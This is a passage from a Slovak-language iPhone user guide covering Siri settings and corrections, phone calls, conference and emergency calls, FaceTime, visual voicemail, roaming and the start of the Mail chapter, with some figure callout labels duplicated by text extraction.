otvorte aplikáciu.
Súvisiace
informácie —
klepnutím
otvorte aplikáciu.
Ak Siri potrebuje viac informácií na vyjasnenie požiadavky, môže vám položiť otázky. Ak
napríklad Siri poviete „Remind me to call mom“, Siri sa môže opýtať „What time would you like
me to remind you?“
Zrušenie žiadosti: Povedzte „cancel“, klepnite na alebo stlačte tlačidlo Domov .
Zastavenie telefónneho hovoru, ktorý bol spustený pomocou Siri: Predtým, ako sa otvorí
aplikácia Telefón, stlačte tlačidlo Domov . Ak je aplikácia Telefón už otvorená, klepnite
na Zložiť.Kapitola 4 Siri 41
Povedzte Siri o sebe
Čím lepšie vás Siri pozná, tým viac môže vaše informácie využiť vo váš prospech. Siri získava
informácie z vašej osobnej vizitky v Kontaktoch („Moje info“).
Povedzte Siri kto ste: Prejdite do Nastavenia > Všeobecné > Siri > Moje info a potom klepnite
na svoje meno.
Zadajte na vizitke svoju adresu domov a do práce, aby ste mohli povedať vety ako „How do I
get home?“ a „Remind me to call Bob when I get to work“.
Siri chce tiež vedieť o dôležitých ľuďoch vo vašom živote, takže na svojej osobnej vizitke zadajte
aj tieto vzťahy. Ak napríklad prvýkrát poviete Siri, aby vytočila číslo vašej sestry, Siri sa spýta,
kto je vaša sestra (ak na vizitke túto informáciu ešte nemáte). Siri pridá tento vzťah do vašej
osobnej vizitky, aby sa to nabudúce nebolo nutné pýtať.
V Kontaktoch si vytvorte vizitky pre všetky dôležité vzťahy a zadajte informácie ako telefónne
čísla, emailové adresy, adresy domov a do práce, prípadne prezývky, ktoré chcete používať.
Sprievodca na obrazovke
Siri vám priamo na obrazovke zobrazí príklady viet, ktoré môžete povedať. Spýtajte sa Siri
„what can you do“ alebo keď sa Siri prvýkrát objaví, klepnite na . Siri zobrazí zoznam
podporovaných aplikácií so vzorovou požiadavkou. Klepnite na položku v zozname pre
zobrazenie ďalších príkladov.
Siri ako telefón
Siri môžete začať zadávať príkazy tak, že si iPhone priložíte k uchu, podobne ako keď
telefonujte. Ak obrazovka nie je zapnutá, stlačte najskôr tlačidlo Spať/Zobudiť alebo Domov.
Ozvú sa dve rýchle pípnutia, ktoré znamenajú, že Siri počúva. Potom začnite rozprávať.
Zapnutie funkcie Priložiť telefón k uchu: Prejdite do Nastavenia > Všeobecné > Siri.Kapitola 4 Siri 42
Keď si priložíte iPhone k uchu a Siri neodpovedá, začnite tak, že obrazovku budete mať pred
sebou, takže vaša ruka bude otočená smerom nahor.
Siri v režime bez používania rúk
Siri môžete používať s náhlavnou sadou dodanou spolu s iPhonom a s ďalšími kompatibilnými
káblovými alebo Bluetooth náhlavnými sadami.
Rozprávanie so Siri pomocou náhlavnej sady: Stlačte a podržte stredné tlačidlo (prípadne
tlačidlo na uskutočnenie hovoru na Bluetooth náhlavnej sade).
Ak chcete pokračovať v konverzácii so Siri, vždy, keď budete chcieť hovoriť, stlačte a podržte
tlačidlo.
Počas používania náhlavnej sady bude Siri hovoriť odpovede. Nadiktované textové a emailové
správy Siri pred odoslaním nahlas prečíta. Toto vám umožní správu podľa potreby zmeniť. Siri
tiež pred vytvorením pripomienok prečíta ich názvy.
Lokalizačné služby
Pretože Siri pozná lokality (iPhone 4S a novšie modely) ako „current“, „home“ a „work“, môže
vám pripomenúť úlohy pri príchode na určité miesto alebo pri jeho opustení. Povedzte Siri
„Remind me to call my daughter when I leave the office“ a Siri to spraví.
Informácie o polohe nie sú sledované ani ukladané mimo iPhonu. Siri môžete používať aj keď
lokalizačné služby vypnete, no Siri nespraví nič, čo bude vyžadovať informácie o polohe.
Vypnutie lokalizačných služieb pre Siri: Prejdite do Nastavenia > Súkromie >
Lokalizačné služby.
Prístupnosť
Siri je dostupná nevidomým užívateľom a ľuďom so zrakovým postihnutím prostredníctvom
funkcie VoiceOver, ktorá slúži ako čítačka obrazovky zabudovaná v systéme iOS. VoiceOver
nahlas popisuje čo sa nachádza na obrazovke, vrátane ľubovoľného textu v odpovediach Siri,
takže iPhone môžete používať aj keď ho nevidíte.
Zapnutie funkcie VoiceOver: Prejdite do Nastavenia > Všeobecné > Prístupnosť.
Ak zapnete VoiceOver, bude všetko na obrazovke, dokonca aj vaše upozornenia, čítané nahlas.
Viac informácií nájdete v časti VoiceOver na strane 119.Kapitola 4 Siri 43
Nastavenie možností Siri
Vypnutie alebo zapnutie Siri Prejdite do Nastavenia > Všeobecné > Siri.
Poznámka: Vypnutím sa Siri resetuje a zabudne informácie týkajúce sa vášho hlasu.
Nastavenie možností Siri: Prejdite do Nastavenia > Všeobecné > Siri.
• Jazyk: Vyberte jazyk, ktorý chcete so Siri používať.
• Hlasová odozva: Podľa predvoleného nastavenia Siri svoje odpovede hovorí nahlas len v
prípade, ak držíte iPhone pri uchu alebo používate náhlavnú sadu. Ak chcete, aby Siri vždy
hovorila svoje odpovede, nastavte túto možnosť na Vždy.
• Moje info: Dajte Siri vedieť, ktorá vizitka v Kontaktoch obsahuje vaše osobné informácie. Viac
v časti Povedzte Siri o sebe na strane 41.
• Priložiť telefón k uchu: Začnite konverzáciu so Siri priložením iPhonu k uchu, keď je obrazovka
aktívna. Túto funkciu môžete vypnúť alebo zapnúť v Nastavenia > Všeobecné > Siri.
Povolenie alebo zakázanie prístupu k Siri, keď je iPhone zamknutý pomocou hesla: Prejdite
do Nastavenia > Všeobecné > Uzamykanie heslom.
Siri môžete tiež zakázať zapnutím obmedzení. Viac v časti Obmedzenia na strane 143.
Reštaurácie
Siri spolupracuje s Yelp, OpenTable a ďalšími podobnými službami, takže vám dokáže
poskytnúť informácie o reštauráciách a pomôcť pri rezervácii stola. Požiadajte Siri o vyhľadanie
reštaurácií podľa druhu kuchyne, ceny, polohy alebo kombinácie týchto možností. Siri dokáže
zobraziť dostupné fotky, hviezdičky zo stránky Yelp, ceny a recenzie. Viac informácií môžete
získať v aplikáciách Yelp alebo OpenTable. Ak ich zatiaľ nemáte nainštalované, iPhone zobrazí
výzvu na ich stiahnutie.
Zobrazenie detailných informácií o reštaurácii: Klepnite na reštauráciu odporúčanú Siri.
Nájsť polohu na mape. Nájsť polohu na mape.
Zobraziť recenzie
zo služby Yelp.
Zobraziť recenzie
zo služby Yelp.
Zavolať do reštaurácie. Zavolať do reštaurácie.
Navštíviť webovú
stránku.
Navštíviť webovú
stránku.
Rezervovať stôl
prostredníctvom
služby OpenTable.
Rezervovať stôl
prostredníctvom
služby OpenTable.Kapitola 4 Siri 44
Filmy
Opýtajte sa Siri na filmy, ktoré práve hrajú v kinách vo vašom okolí, prípadne zistite, kde si
môžete pozrieť vybraný film. Zistite dátum premiéry filmu, meno režiséra alebo ocenenia,
ktoré tento film získal. Siri vám poskytne polohu kín, časy predstavení a recenzie zo stránky
Rotten Tomato.
Zobrazenie detailných informácií o filme: Klepnite na film odporúčaný Siri.
Získať kiná a časy
predstavení.
Získať kiná a časy
predstavení.
Prehrať upútavku. Prehrať upútavku.
Prečítať si recenzie
na Rotten Tomato.
Prečítať si recenzie
na Rotten Tomato.
Šport
Siro toho vie o veľa o rôznych športoch, vrátane basketbalu, futbalu a hokeja. Opýtajte sa
Siri na rozpisy zápasov, výsledky zápasov aktuálnej sezóny alebo na aktuálne skóre z práve
prebiehajúcich zápasov. Povedzte Siri, ako má zobraziť štatistiky hráča a porovnať ich so
štatistikami iného hráča. Siri sleduje napríklad aj rekordy tímov. Môžete sa opýtať napríklad
nasledovné:
• What was the score of the last Giants game?
• What are the National League standings?
• When is the Chicago Cubs first game of the season?
Diktovanie
Ak je funkcia Siri zapnutá, môžete tiež diktovať text. Viac v časti Diktovanie na strane 27.
Hoci emailové, textové a iné správy môžete vytvoriť priamym rozhovorom so Siri, môžete
použiť aj diktovanie. Diktovanie vám umožňuje správu upravovať namiesto toho, aby ste
museli celý text nahradiť. Diktovanie vám počas písania poskytuje viac času na premýšľanie.
Siri chápe pauzy tak, že ste pre daný okamih skončili s rozprávaním a využije príležitosť na
svoju reakciu. Hoci tento systém umožňuje prirodzenú konverzáciu, Siri vás môže prerušiť skôr
než naozaj skončíte v prípade, že bola táto pauza príliš dlhá. Pri diktovaní môžete urobiť pauzu
kedykoľvek budete chcieť a v diktovaní môžete kedykoľvek pokračovať.Kapitola 4 Siri 45
Môžete tiež text začať písať s pomocou Siri a potom pokračovať diktovaním. Môžete napríklad
so Siri vytvoriť emailovú správu, potom klepnúť na rozpísanú správu a otvoriť ju v aplikácii
Mail. V aplikácii Mail môžete správu dokončiť alebo upravovať, prípadne robiť iné zmeny, ako
napríklad pridávanie a odoberanie príjemcov, úpravy predmetu správy alebo meniť účet, z
ktorého budete správu posielať.
Korekcia Siri
Ak má Siri problém
Siri môže mať občas problém s porozumením — napríklad v hlučnom prostredí. Ak rozprávate
s prízvukom, Siri môže chvíľu trvať, kým si na váš hlas zvykne. Ak Siri neporozumela tomu, čo
ste povedali, môžete sa opraviť.
Siri zobrazí, čo od vás počula, spolu s odpoveďou.
Oprava toho, čo Siri počula: Klepnite na bublinu s textom, ktorý Siri počula. Písaním upravte
svoju žiadosť, prípadne na klávesnici klepnite na pre diktovanie.
Informácie o používaní diktovania nájdete v časti Diktovanie na strane 44.
Ak je nejaká časť textu podčiarknutá modrou farbou, klepnite na ňu a Siri navrhne niekoľko
alternatív. Klepnite na niektorý z návrhov alebo text nahraďte písaním alebo diktovaním.
Korekcia Siri pomocou hlasu: Klepnite na , zopakujte vetu alebo vysvetlite svoju požiadavku.
Napríklad „I meant Boston“.
Keď opravujte Siri, nehovorte čo nechcete. Povedzte čo chcete.
Korekcia emailovej alebo textovej správy: Ak sa vás Siri opýta, či chcete odoslať správu,
môžete povedať napríklad:
• Change it to: Call me tomorrow
• Add: See you there question mark.
• No, send it to Bob.
• No. (pre ponechanie správy bez jej odoslania)
• Cancel
Ak chcete, aby vám Siri správu prečítala, povedzte „Read it back to me“ alebo „Read me the
message.“ Ak je správa v poriadku, môžete povedať niečo ako „Yes, send it.“
Hlučné prostredie
V hlučnom prostredí držte iPhone blízko k ústam, ale nerozprávajte priamo do spodnej hrany.
Rozprávajte prirodzene a zrozumiteľne. Po skončení hovorenia klepnite na .
Počas konverzácie so Siri môžete tiež držať iPhone pri uchu.
Sieťové pripojenie
Siri vám môže povedať, že má problém s pripojením na sieť. Keďže pri rozpoznávaní reči sa
Siri spolieha na servery spoločnosti Apple a na ďalšie služby, budete potrebovať dobré 3G, 4G
alebo LTE mobilné alebo Wi-Fi pripojenie na internet. 5
46
Telefonické hovory
Vykonávanie hovorov
Telefonický hovor na iPhone uskutočníte jednoduchým klepnutím na meno a číslo vo svojich
kontaktoch. Ak používate Siri, jednoducho povedzte „call Bob“ (iPhone 4S alebo novšie
modely). Hovor uskutočníte aj klepnutím na niektorú zo svojich obľúbených položiek alebo na
niektorý z posledných uskutočnených hovorov.
Zavolajte obľúbenému kontaktu
jediným klepnutím.
Zavolajte obľúbenému kontaktu
jediným klepnutím.
Zobraziť posledné prichádzajúce a odchádzajúce
hovory kvôli volaniu späť alebo zobrazeniu ďalších
informácií. Červený odznak indikuje počet
zmeškaných hovorov.
Zobraziť posledné prichádzajúce a odchádzajúce
hovory kvôli volaniu späť alebo zobrazeniu ďalších
informácií. Červený odznak indikuje počet
zmeškaných hovorov.
Zavolať, poslať email alebo poslať textovú
správu niekomu zo zoznamu kontaktov.
Zavolať, poslať email alebo poslať textovú
správu niekomu zo zoznamu kontaktov.
Vytočiť manuálne. Vytočiť manuálne.
Zobraziť zoznam
správ v odkazovači.
Zobraziť zoznam
správ v odkazovači.
UPOZORNENIE: Dôležité informácie týkajúce sa rušivých vplyvov nájdete v časti Dôležité
informácie týkajúce sa bezpečnosti na strane 153.
Tlačidlá v spodnej časti obrazovky aplikácie Telefón slúžia na rýchly prístup k obľúbeným
položkám, posledným telefonátom, kontaktom a k numerickej klávesnici určenej na manuálne
vytáčanie čísel.
TelefónKapitola 5 Telefón 47
Manuálne vytočenie čísla: Klepnite na Klávesnica, zadajte číslo a klepnite na Zavolať.
• Vloženie čísla na obrazovke s numerickou klávesnicou: Klepnite na časť obrazovky nad
klávesnicou a potom klepnite na Vložiť.
• Vloženie krátkej (2-sekundovej) pauzy: Podržte kláves „*“, až kým sa v čísle nezobrazí čiarka.
• Vloženie dlhej pauzy (slúži na pozastavenie vytáčania, až kým neklepnete na Vytočiť): Podržte
kláves „#“, až kým sa v čísle nezobrazí dvojbodka.
• Opätovné vytočenie posledného čísla: Klepnite na Klávesnica, klepnutím na Zavolať zobrazte
číslo a potom znovu klepnite na Zavolať.
Pridanie kontaktu medzi Obľúbené: V aplikácii Kontakty klepnite na Pridať k obľúb. v spodnej
časti vizitky kontaktu. Ak chcete vymazať alebo preusporiadať svoj zoznam obľúbených
kontaktov, klepnite na Upraviť.
Spustenie Siri alebo ovládania hlasom: Stlačte a podržte tlačidlo Domov , vyslovte príkazy
call (volať) alebo dial (vytočiť) a následne vyslovte žiadané meno alebo číslo. Môžete pridať aj
spresnenie at home, work, alebo mobile (domáce, pracovné alebo mobilné číslo). Viac v časti
kapitola 4, Siri, na strane 39 a Ovládanie hlasom na strane 28.
Ovládanie hlasom bude pracovať spoľahlivejšie, ak vyslovíte celé meno osoby, ktorej chcete
zavolať. Pri hlasovom vytáčaní čísla vyslovte každé číslo osobitne – napríklad four one five, five
five five, one two one two. V prípade predvoľby 800 v USA môžete povedať eight hundred.
Prijímanie hovorov
Prijatie hovoru: Klepnite na Zdvihnúť. Ak je iPhone zamknutý, prstom potiahnite prepínač.
Môžete tiež stlačiť stredné tlačidlo na svojej náhlavnej sade.
Stíšenie hovoru: Stlačte tlačidlo Spať/Zobudiť alebo jedno z tlačidiel pre nastavenie hlasitosti.
Stíšený hovor môžete aj naďalej prijať, až kým nebude presmerovaný do odkazovača.
Odpovedanie na prichádzajúci hovor textovou správou: Potiahnite nahor, klepnite na
Odpovedať správou a potom vyberte niektorú z odpovedí alebo klepnite na Vlastná. Ak si
chcete vytvoriť svoje vlastné odpovede, prejdite do Nastavenia > Telefón > Odpovedať správou
a prepíšte niektorú z pôvodných správ.
Pripomenutie neprijatého prichádzajúceho hovoru: Potiahnite nahor, klepnite na
Pripomenúť neskôr a vyberte čas pripomienky.
Odmietnutie hovoru a jeho presmerovanie priamo do odkazovača: Vykonajte jedno
z nasledovných:
• Dvakrát rýchlo za sebou stlačte tlačidlo Spať/Zobudiť.
• Stlačte a podržte stredné tlačidlo na náhlavnej sade na približne dve sekundy. Dve hlboké
pípnutia potvrdia, že bol hovor odmietnutý.
• Klepnite na Zrušiť (ak je iPhone počas prichádzajúceho hovoru v aktívnom stave).Kapitola 5 Telefón 48
Blokovanie hovorov bez prerušenia Wi-Fi pripojenia na internet: Prejdite do aplikácie
Nastavenia, zapnite režim lietadlo a potom klepnutím zapnite Wi-Fi.
Nastavenie režimu Nerušiť ( ): Prejdite do nastavení a zapnite režim Nerušiť. Viac v časti
Funkcia Nerušiť a hlásenia na strane 138.
Keď je iPhone vypnutý, v režime lietadlo alebo režime Nerušiť, prichádzajúce hovory sú
presmerované priamo do odkazovača.
Počas hovoru
Ak práve telefonujete, obrazovka zobrazuje možnosti hovoru.
Používanie ďalšej aplikácie počas hovoru: Stlačte tlačidlo Domov a otvorte aplikáciu. Ak sa
chcete vrátiť k hovoru, klepnite na zelenú lištu vo vrchnej časti obrazovky.
Ukončenie hovoru: Klepnite na Zložiť. Prípadne stlačte stredné tlačidlo na náhlavnej sade.
Odpovedanie na ďalší prichádzajúci hovor:
• Ignorovanie hovoru a jeho presmerovanie do odkazovača: Klepnite na Ignorovať.
• Podržanie aktuálneho hovoru a odpovedanie na prichádzajúci hovor: Klepnite na Podržať +
Zdvihnúť.
• Zloženie prvého hovoru a odpovedanie na nový: Ak používate GSM sieť, klepnite na Zložiť +
Zdvihnúť. V CDMA sieti klepnite na Zložiť a keď vám druhý hovor zavolá späť, klepnite na
Odpovedať, prípadne odomknite telefón potiahnutím prepínača (ak je zamknutý).
Ak ste vo FaceTime videohovore, môžete buď ukončiť videohovor a zdvihnúť prichádzajúci
hovor, alebo odmietnuť prichádzajúci hovor.
Prepínanie medzi hovormi: Klepnite na Prepnúť. Aktívny hovor bude podržaný. V CDMA sieti
nemôžete prepínať medzi hovormi, ak je druhý hovor odchádzajúci. Môžete ich však zlúčiť. Ak
zložíte druhý hovor alebo zlúčený hovor, budú ukončené oba hovory.
Zlúčenie hovorov: Klepnite na Zlúčiť hovory. V CDMA sieti nemôžete zlúčiť hovory, ak bol
druhý hovor prichádzajúci.Kapitola 5 Telefón 49
Konferenčné hovory
V GSM sieti môžete v závislosti od svojho operátora realizovať konferenčný hovor až s piatimi
účastníkmi naraz.
Vytvorenie konferenčného hovoru: Počas hovoru klepnite na Pridať hovor, vykonajte ďalší
hovor a následne klepnite na Zlúčiť hovory. Ďalších ľudí pridáte do konferenčného hovoru
zopakovaním tohto postupu.
• Ukončenie jedného z hovorov: Klepnite na Konferencia, klepnite na vedľa osoby a potom
klepnite na Zložiť.
• Súkromný rozhovor v rámci konferencie: Klepnite na Konferencia a potom klepnite na
Súkromie vedľa danej osoby. Ak chcete pokračovať v konferencii, klepnite na Zlúčiť hovory.
• Pridanie prichádzajúceho hovoru: Klepnite na Podržať + Zdvihnúť a potom na Zlúčiť hovory.
Poznámka: Počas konferenčného hovoru nie je možné uskutočniť FaceTime videohovor.
Používanie Bluetooth zariadenia:
Ďalšie informácie týkajúce sa používania Bluetooth zariadenia nájdete v dokumentácii dodanej
spolu so zariadením. Viac v časti Párovanie zariadení Bluetooth na strane 35.
Obídenie Bluetooth zariadenia:
• Odpovedajte na hovor klepnutím na obrazovku iPhonu.
• Počas hovoru klepnite na Zvuk a vyberte iPhone alebo Reproduktor.
• Vypnite Bluetooth v Nastavenia > Bluetooth.
• Vypnite Bluetooth zariadenie, alebo ho presuňte mimo dosahu signálu Bluetooth. Ak má
Bluetooth zariadenie zostať pripojené k vášmu iPhonu, vzdialenosť medzi nimi by nemala
prekročiť 10 metrov.
Tiesňové volania
Vykonanie tiesňového volania v prípade, že je iPhone zamknutý: Na obrazovke Zadajte
heslo klepnite na Tiesňové volanie.
Dôležité: iPhone dokáže uskutočniť tiesňové volanie z mnohých miest za predpokladu, že je
dostupná mobilná sieť. V prípade núdze by ste sa však naň nemali spoliehať. Niektoré mobilné
siete nemusia prijať tiesňové volanie z iPhonu, ak nie je aktivovaný, ak nie je kompatibilný
alebo nastavený na spoluprácu s konkrétnou sieťou alebo ak v iPhone nie je nainštalovaná SIM
karta alebo je zamknutá PIN kódom.
V USA sú pri vytočení tiesňového čísla 911 informácie o vašej polohe (ak sú k dispozícii)
automaticky odoslané do tiesňového centra.
V sieti CDMA aktivuje iPhone po dokončení tiesňového volania na niekoľko minút Režim
tiesňového volania, ktorý umožňuje spätné volanie z tiesňovej linky. Dátové prenosy a textové
správy sú v tomto režime blokované.
Ukončenie režimu tiesňového volania (CDMA): Vykonajte jedno z nasledovných:
• Klepnite na tlačidlo späť.
• Stlačte tlačidlo Spať/Zobudiť alebo tlačidlo Domov .
• Vytočte iné číslo pomocou klávesnice.Kapitola 5 Telefón 50
FaceTime
Pomocou iPhonu 4 alebo novších modelov môžete uskutočniť videohovor s hocikým, kto
má Mac alebo iné iOS zariadenie podporujúce FaceTime. FaceTime kamera je určená na
komunikáciu tvárou v tvár. Ak sa počas videohovoru chcete podeliť o obraz svojho okolia,
prepnite na iSight kameru na zadnej strane.
Poznámka: Na iPhone 3GS alebo iPhone 4 potrebujete Wi-Fi pripojenie na internet. Na
iPhone 4S a novších modeloch môžete používať FaceTime aj prostredníctvom mobilného
dátového pripojenia. Prenos dát v mobilnej sieti môže byť spoplatnený. Ak nechcete, aby
FaceTime hovory využívali mobilné dáta, prejdite do Nastavenia > Všeobecné > Mobilné.
Uskutočnenie FaceTime videohovoru: V aplikácii Kontakty vyberte meno, klepnite na
FaceTime a potom klepnite na telefónne číslo alebo emailovú adresu, ktoré daná osoba
používa pre FaceTime.
Ak chcete zavolať niekomu, kto má iPhone 4 alebo novší model, môžete najprv uskutočniť
telefonický hovor a potom klepnúť na FaceTime.
Poznámka: Počas FaceTime hovoru bude vaše telefónne číslo zobrazené, aj ak je funkcia
zobraziť moje číslo zablokovaná alebo vypnutá.
Spustenie Siri alebo ovládania hlasom: Stlačte a podržte tlačidlo Domov , následne vyslovte
„FaceTime“ a potom meno osoby, ktorej chcete zavolať.
Nastavenie možností FaceTime: Prejdite do Nastavenia > FaceTime a môžete:
• Zapnúť alebo vypnúť FaceTime
• Špecifikovať svoje Apple ID alebo emailovú adresu pre prijímanie FaceTime hovorov.
Visual Voicemail (vizuálna odkazová schránka)
Služba „Visual Voicemail“ vám umožňuje pozrieť si zoznam svojich odkazov a vybrať si,
ktoré z nich si chcete vypočuť alebo vymazať a to bez nutnosti vypočuť si hlasové pokyny
alebo predchádzajúce odkazy. Odznak na ikone Voicemail vám oznamuje, koľko máte
nevypočutých odkazov.
Nastavenie funkcie visual voicemail: Keď klepnete prstom na Odkazy po prvýkrát, budete
požiadaní o vytvorenie hesla do svojej odkazovej schránky a o nahratie svojho osobného
uvítania pre odkazovú službu.Kapitola 5 Telefón 51
Vypočutie odkazu: Klepnite na Odkazy a potom klepnite na odkaz. Ak si chcete odkaz
vypočuť opäť, vyberte správu a klepnite na . Ak funkcia visual voicemail nie je pre vašu službu
dostupná, klepnite na Odkazy a nasledujte hlasové výzvy.
Kontrola odkazovej služby z iného telefónu: Vytočte svoje vlastné číslo alebo číslo vášho
operátora pre vzdialený prístup.
Odkazy sa budú uchovávať až kým ich nevymažete vy alebo váš operátor.
Vymazanie odkazu: Prejdite prstom po odkaze alebo naň klepnite a potom klepnite
na Vymazať.
Poznámka: V niektorých oblastiach môžu byť vymazané odkazy natrvalo odstránené vaším
operátorom .
Správa vymazaných odkazov: Klepnite na Vymazané odkazy na začiatku zoznamu správ. K
dispozícii máte nasledovné možnosti:
• Vypočutie vymazaného odkazu: Klepnite na odkaz.
• Obnovenie vymazaného odkazu: Klepnite na odkaz a následne na Obnoviť.
• Trvalé vymazanie odkazov: Klepnite na Vymazať všetky.
Zmena uvítania: Klepnite na Odkazy, na Pozdrav, na Vlastný a potom klepnite na Nahrať.
Prípadne ak chcete použiť všeobecné uvítanie vášho operátora, klepnite na Pôvodný.
Nastavenie upozornenia na nový odkaz: Prejdite do Nastavenia > Zvuky a klepnite na
možnosť Nový odkaz.
Poznámka: Ak je tlačidlo Zvoniť/Ticho v polohe vypnuté, iPhone vás nebude upozorňovať na
nový odkaz.
Zmena hesla do odkazovej schránky: Prejdite do Nastavenia >Telefón > Heslo do odkazovača.Kapitola 5 Telefón 52
Kontakty
Na obrazovke s informáciami o zobrazenom kontakte môžete klepnutím uskutočniť
telefonický hovor, vytvoriť novú emailovú správu, nájsť polohu kontaktu a ďalšie. Viac v časti
kapitola 25, Kontakty, na strane 104.
Presmerovanie hovorov, Čakanie hovorov a Zobraziť moje číslo
Nasledujúce informácie sa vzťahujú len na GSM siete. Informácie o povolení a používaní týchto
funkcií v CDMA sieťach získate u svojho operátora. Viac v časti support.apple.com/kb/HT4515.
Zapnutie alebo vypnutie presmerovania hovorov: Prejdite do Nastavenia >Telefón >
Presmerovanie. Ak prebieha presmerovanie hovoru, zobrazí sa v stavovom riadku ikona
presmerovania hovorov ( ). Pri nastavovaní presmerovania hovorov na iPhone musíte byť
v dosahu mobilnej siete, inak vaše hovory nebudú presmerované. Hovory FaceTime nie je
možné presmerovať.
Zapnutie alebo vypnutie čakania hovorov: Prejdite do Nastavenia >Telefón > Čakanie
hovorov. Ak máte vypnuté čakanie hovorov, sú prichádzajúce hovory počas telefonovania
presmerované priamo do odkazovača.
Zapnutie alebo vypnutie funkcie ID volajúceho: Prejdite do Nastavenia > Telefón > Zobraziť
moje číslo.
Poznámka: Počas FaceTime hovoru bude vaše telefónne číslo zobrazené, aj ak je funkcia
Zobraziť moje číslo vypnutá.
Zvonenia, prepínač Zvoniť/Ticho a vibrovanie
iPhone obsahuje zvonenia, ktoré si môžete nastaviť pre prichádzajúce hovory, či ako melódiu
budíka a časovača. Zvonenia vytvorené zo skladieb si môžete zakúpiť v iTunes. Viac v časti
kapitola 22, iTunes Store, na strane 98.
Nastavenie globálneho zvonenia: Prejdite do Nastavenia > Zvuky > Zvonenie.
Zapnutie alebo vypnutie vyzváňania: Prepnite prepínač na boku iPhonu.
Dôležité: Nastavené budíky budú zvoniť aj v prípade, že je prepínač Zvoniť/Ticho nastavený na
tichý režim.
Vypnutie alebo zapnutie vibrovania: Prejdite do Nastavenia > Zvuky.
Priradenie vlastného zvonenia kontaktu: V aplikácii Kontakty vyberte kontakt, klepnite na
Upraviť, klepnite na Zvonenie a vyberte zvonenie.
Viac informácií nájdete v časti Zvuky na strane 145.
Medzinárodné hovory
Viac informácií o medzinárodných hovoroch vrátane taríf a iných poplatkov vám poskytne váš
mobilný operátor, prípadne ich nájdete na webových stránkach svojho mobilného operátora.
Pri cestách do zahraničia zrejme budete môcť pomocou iPhonu uskutočňovať hovory,
odosielať a prijímať textové správy a používať aplikácie, ktoré pristupujú na internet (v
závislosti od dostupných sietí).
Aktivácia medzinárodného roamingu: Pre informácie o dostupnosti a cenách kontaktujte
svojho mobilného operátora.Kapitola 5 Telefón 53
Dôležité: Hlasový a dátový roaming a textové správy môžu byť spoplatnené. Ak chcete predísť
poplatkom pri roamingu, vypnite funkcie Hlasový roaming a Dátový roaming.
Ak máte iPhone 4S, ktorý bol aktivovaný pre sieť CMDA, budete zrejme môcť využívať roaming
v sieťach GSM (v telefóne musíte mať nainštalovanú SIM kartu). Počas roamingu v GSM sieťach
má iPhone prístup k službám GSM sietí. Roaming môže byť spoplatnený. Pre viac informácií
kontaktujte svojho operátora.
Nastavenie možností sietí: Prejdite do Nastavenia > Všeobecné > Mobilné a môžete:
• Vypnúť alebo zapnúť dátový roaming.
• Vypnúť alebo zapnúť mobilné dáta.
• Vypnúť alebo zapnúť hlasový roaming (CDMA).
• Používať GSM siete v cudzine (CDMA).
Vypnutie mobilných služieb: Prejdite do aplikácie Nastavenia, zapnite režim lietadlo a potom
klepnutím zapnite Wi-Fi. Prichádzajúce hovory budú presmerované do odkazovača. Ak chcete
zapnúť mobilné služby, vypnite Režim lietadlo.
Automatické pridávanie predvoľby alebo kódu krajiny v prípade hovorov do USA: (GSM)
Prejdite do Nastavenia > Telefón a potom zapnite možnosť Asistent vytáčania. Umožní vám to
používať kontakty a obľúbené položky na vykonávanie hovorov v cudzine.
Výber operátora: Prejdite do Nastavenia > Operátor. Táto možnosť je dostupná len v prípade,
že sa nachádzate mimo dosahu siete svojho operátora a sú dostupní operátori, ktorí majú
roamingovú zmluvu s vaším operátorom. Viac v časti Operátor na strane 139.
Získavanie odkazov z odkazovej služby, keď nie je dostupná služba Visual Voicemail:
Vytočte svoje vlastné číslo (v sieti CDMA pridajte svoje číslo nasledované znakom #) alebo
stlačte a podržte „1“ na numerickej klávesnici.
Nastavovanie možností telefónu
Prejdite do Nastavenia > Telefón a môžete:
• Zobraziť telefónne číslo svojho iPhonu
• Zmeniť predvolené správy určené na odpovedanie na prichádzajúce hovory
• Zapnúť alebo vypnúť presmerovanie hovorov, čakanie hovorov a zobraziť moje číslo (GSM)
• Zapnúť alebo vypnúť TTY
• Zmeniť heslo do odkazovej schránky (GSM)
• Vyžadovať PIN na odomknutie SIM karty po zapnutí iPhonu (vyžadované niektorými
operátormi)
Prejdite do Nastavenia > FaceTime a môžete:
• Zapnúť alebo vypnúť FaceTime
• Použiť svoje Apple ID pre FaceTime
• Pridať emailovú adresu pre FaceTime
• Vypnúť alebo zapnúť mobilné dáta
Prejdite do Nastavenia > Zvuky a môžete:
• Nastaviť zvonenia a hlasitosť
• Nastaviť možnosti vibrovania
• Nastaviť zvuk pre nový odkaz6
54
Čítanie emailov
Zmeniť schránky alebo účty. Zmeniť schránky alebo účty.
Prehľadať túto
schránku.
Prehľadať túto
schránku.
VIP VIP
Napísať novú
správu.
Napísať novú
správu.
Upravte dĺžku náhľadu
v Nastavenia > Mail,
kontakty a kalendáre.
Upravte dĺžku náhľadu
v Nastavenia > Mail,
kontakty a kalendáre.
Vymazať, presunúť
alebo označiť
viacero správ.
Vymazať, presunúť
alebo označiť
viacero správ.
Označenie správy alebo jej nastavenie ako neprečítanej: Klepnite na . Ak chcete naraz
označiť viacero správ, klepnite na Upraviť v zobrazení zoznamu správ.
Identifikácia správ, ktoré boli adresované priamo vám: Prejdite do Nastavenia > Mail,
kontakty, kalendáre a zapnite alebo vypnite možnosť Zobraziť Pre/Cc. Správy s vašou adresou v
poli Pre alebo Cc budú v zozname správ označené ikonou.
Zobrazenie všetkých príjemcov správy: V poli Od klepnite na slovo Detaily. Ak chcete zobraziť
kontaktné údaje príjemcu, prípadne ho pridať do aplikácie Kontakty alebo zoznamu VIP,
klepnite na jeho meno alebo emailovú adresu.
Vypnutie načítavania vzdialených obrázkov: Prejdite do Nastavenia > Mail, kontakty,
kalendáre a zapnite alebo vypnite možnosť Načítať obrázky.
Otvorenie odkazu: Klepnutím na odkaz vykonáte predvolenú akciu, prípadne zobrazte ďalšie
akcie podržaním prsta na odkaze. Môžete napríklad zobraziť adresu na mape alebo ju pridať
medzi kontakty. Webový odkaz môžete pridať do zoznamu Na prečítanie.
Otvorenie pozvánky na stretnutie alebo prílohy: Klepnite na položku. Ak môže prílohu
používať viacero aplikácií, klepnutím a podržaním si vyberte tú, ktorá má otvoriť súbor.
Uložte fotku alebo video z prílohy: Podržte prst na fotke alebo videu a potom klepnite na
Uložiť obrázok alebo video. Uložia sa do vášho albumu Fotoaparát v aplikácii Fotky.
MailKapitola 6 Mail 55
Načítanie nových správ: Ak chcete načítať nové správy v zozname správ alebo v schránke,
potiahnite tieto zoznamy smerom nadol.
